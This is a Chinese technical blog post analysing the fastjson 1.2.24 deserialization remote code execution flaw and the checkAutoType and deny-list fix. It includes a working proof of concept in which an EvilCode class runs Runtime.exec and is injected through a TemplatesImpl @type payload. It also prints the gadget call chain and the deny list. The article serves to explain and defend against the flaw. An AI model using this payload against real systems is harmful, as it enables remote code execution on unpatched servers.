前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >fastjson远程代码执行漏洞问题分析

fastjson远程代码执行漏洞问题分析

作者头像
用户7634691
发布2020-08-10 16:06:02
8280
发布2020-08-10 16:06:02
举报

背景

fastjson远程代码执行安全漏洞(以下简称RCE漏洞),最早是官方在2017年3月份发出的声明,

security_update_20170315

没错,强如阿里这样的公司也会有漏洞。代码是人写的,有漏洞是难免的。关键是及时的修复。

声明中,官方指出:

最近发现fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,为了保证系统安全,请升级到1.2.28/1.2.29/1.2.30/1.2.31或者更新版本。

你会注意到这份声明中并没有对漏洞的细节有详细的描述,原因是官方担心透漏了细节会扩散漏洞。这个是可以理解的,警方公布案件的消息一般都不会透露犯罪细节,就是防止有人模仿犯罪。

公布漏洞之后,阿里进行了升级修复,并给出了防漏洞的建议。然后针对这一版的修复方案,黑客或者安全测试人又找到绕过防御的方案。于是在很长一段时间里,阿里的大佬们不断的修复漏洞,优化升级,黑客们不断的尝试新的攻击方法。整个就是一部fastjson RCE漏洞版的谍战剧。

由于篇幅限制,本文并不打算详细介绍Fastjson RCE漏洞的进化史,而是只关注第一次漏洞分析。

漏洞分析

为了能重现漏洞,本文示例代码都是基于fastjson 1.2.23版本。

如果你是maven的工程,可以直接引入下面这个依赖。

<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.23</version>
        </dependency>

fastjson基本使用

为了照顾有读者可能没有使用过fastjson,我们先来看看fastjson的基本用法。

首先我们定义一个实体类,

public class Student {
    private String name;//姓名
    private String number;//学号
    private int age;  //年龄
    private String secret;

    public String getName() {
        System.out.println("getName");
        return name;
    }
    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
    public String getNumber() {
        System.out.println("getNumber");
        return number;
    }
    public void setNumber(String number) {
        System.out.println("setNumber");
        this.number = number;
    }
    public int getAge() {
        System.out.println("getAge");
        return age;
    }
    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    public String getSecret() {
        System.out.println("getSecret");
        return secret;
    }
    public void setSecret(String secret) {
        System.out.println("setSecret");
        this.secret = secret;
    }
}

为了便于分析问题,我在gettter和setter方法中都加了打印日志。

然后我们看使用的示例,

public static void main(String[] args) {
        //序列化
        Student student = new Student();
        student.setName("lucas");
        student.setAge(25);
        student.setNumber("001");
        String jsonStr1 = JSON.toJSONString(student);
        String jsonStr2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println("jsonStr1:" + jsonStr1);
        System.out.println("jsonStr2" + jsonStr2);

        //反序列化j
        JSONObject jsonObject = JSON.parseObject(jsonStr1);
        System.out.println(jsonObject.get("name"));
        System.out.println(jsonObject.get("age"));
        System.out.println(jsonObject.get("number"));

    }

运行输出结果是,

jsonStr1:{"age":25,"name":"lucas","number":"001"}
jsonStr2{"@type":"com.app.fastjson.Student","age":25,"name":"lucas","number":"001"}
lucas
25
001

我们把上面的代码改下,使用jsonStr2进行反序列化的,

JSONObject jsonObject = JSON.parseObject(jsonStr2);

此时输出的结果是,

...
jsonStr2{"@type":"com.app.fastjson.Student","age":25,"name":"lucas","number":"001"}
setAge
setName
setNumber
getAge
getName
getNumber
getSecret
lucas
25
001

序列化的结果一个带了类信息(使用SerializerFeature.WriteClassName可以输出类信息),一个没有带。这两个字符串都可以进行反序列成JsonObject对象,但是你应该已经注意到了,使用前者序列化的时候,调用了类对象的getter和setter方法。

因为fastjson在处理以@type形式传入的类的时候,会默认调用该类的共有set\get\is函数。

请你记住这个结论,因为它正是漏洞的关键所在。

攻击

既然反序列化的时候会执行getter和setter方法,那我们是不是可以在这些方法里加入攻击的代码,然后 fastjson返序列化的时候调用,不就达到了攻击的目的了吗。

我们先来构造一次攻击,等下再解释原理。

首先构造一段恶意代码,很简单就是在构造函数里打开本地的一个计算器应用。

public class EvilCode extends AbstractTranslet {

    public EvilCode() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException {
        EvilCode evilCode = new EvilCode();
    }
}

运行的效果如下图所示,

我们把编译好的EvilCode.class文件留着备用。接着我们写一段poc证明漏洞的存在,

public class Pocf {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        //根据自己的实际路径修改
        final String evilClassPath = System.getProperty("user.dir") + "//target//classes//com//app//fastjson//EvilCode.class";
        String evilCode = readClass(evilClassPath);

        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);

        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        //assertEquals(Model.class, obj.getClass());
    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行这段代码,你会发现计算器的引用也会弹出来。这就相当于在反序列的时候执行了我们的恶意代码。

攻击原理分析

我们来分析下上面那段poc代码,首先是读入我们的EvilCodeclass文件,这里有一个小细节就是读入的class文件内容会被base64编码。为什么要这么处理呢?

答案其实也很简单,因为FastJson提取byte[]数组字段值时会进行Base64解码,这个大家看下源码就知道了,不是本文的重点这里不展开了。

接下来就是执行反序列了,我们的EvilCode的class文件是赋值给了TemplatesImpl的_bytecodes属性,_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。

前面提到过,反序列化的时候会调用成员变量的getter和setter方法,这其中就包括_outputProperties的getter方法,

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}
public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }
private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();
            ...
private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
            ...

不知道你看明白了没有。

在getTransletInstance调用defineTransletClasses,在defineTransletClasses方法中会根据_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance方法用到生成一个实例,也也就到了最终的执行命令的位置Runtime.getRuntime.exec()

总结起来,调用的链路是这样:

解决方案

好了,到这里你已经知道了关于漏洞的细节。那么官方是如何解决这个漏洞的呢?

Fastjson官方在1.2.24版本后默认关闭autotype功能,并且启用黑名单功能。请用户确保该功能关闭。我们简单了解下解决方案的细节。

解决方案的关键是新增了一个checkAutoType方法,早期版本的方法实现如下,

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {

        if (this.autoTypeSupport || expectClass != null) {
            for(mask = 0; mask < this.acceptList.length; ++mask) {
                accept = this.acceptList[mask];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }

                }

            }
            for(mask = 0; mask < this.denyList.length; ++mask) {
                accept = this.denyList[mask];
                if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
        ...

这个denyList你可以理解成黑名单,也就是这个名单里的类都不允许反序列化。如果上面我们用来攻击的TemplatesImpl被加入到这个黑名单自然就不能被恶意代码攻击了。早期的黑名单如下:

this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

后面可以不断的更新这个黑名单来抵御攻击(当然只是抵御针对黑名的攻击,其它攻击手段无法通过更新黑名单解决)。

其实机智如你应该能想到这里好像有个坑,就是黑名单公布出来,本来大家想不到的一些payload就可以被拿来攻击低版本的fastjson了。阿里应该是也意识到这个问题了,新版本的源码黑名单都是以hashCode的方式存放在源码里,如下所示,

private List<Module>                                    modules                = new ArrayList<Module>();

    {
        denyHashCodes = new long[]{
                0x80D0C70BCC2FEA02L,
                0x86FC2BF9BEAF7AEFL,
                0x87F52A1B07EA33A6L,
                0x8EADD40CB2A94443L,
                0x8F75F9FA0DF03F80L,
                0x9172A53F157930AFL,
                0x92122D710E364FB8L,
                0x92122D710E364FB8L,
                0x94305C26580F73C5L,
                0x9437792831DF7D3FL,
                0xA123A62F93178B20L,
                0xA85882CE1044C450L,
                0xAA3DAFFDB10C4937L,
                0xAFFF4C95B99A334DL,
                0xB40F341C746EC94FL,
                0xB7E8ED757F5D13A2L,
                0xBCDD9DC12766F0CEL,
                0xC00BE1DEBAF2808BL,
                0xC2664D0958ECFE4CL,
                0xC7599EBFE3E72406L,
                0xC963695082FD728EL,
                0xD1EFCDF4B3316D34L,
                0xD9C9DBF6BBD27BB1L,
                ....

后来黑客界,安全界的大佬们还想出其它各种攻击手段,也不断的促进者fastjson原来越好,这里不表。

不过如果你使用场景中包括了这个功能,请参考:

enable_autotype

这里如何添加白名单或者打开autotype功能。

总结

fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞。

开发中应严格控制AutoType开关,保持fastjson为最新版本。保持最新的版本这个通常要注意生产上使用稳定版本而不是beta版。


参考

  • http://xxlegend.com/2017/04/29/title-%20fastjson%20远程反序列化poc的构造和分析/
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 犀牛的技术笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 背景
  • 漏洞分析
    • fastjson基本使用
      • 攻击
        • 攻击原理分析
        • 解决方案
        • 总结
        相关产品与服务
        文件存储
        文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档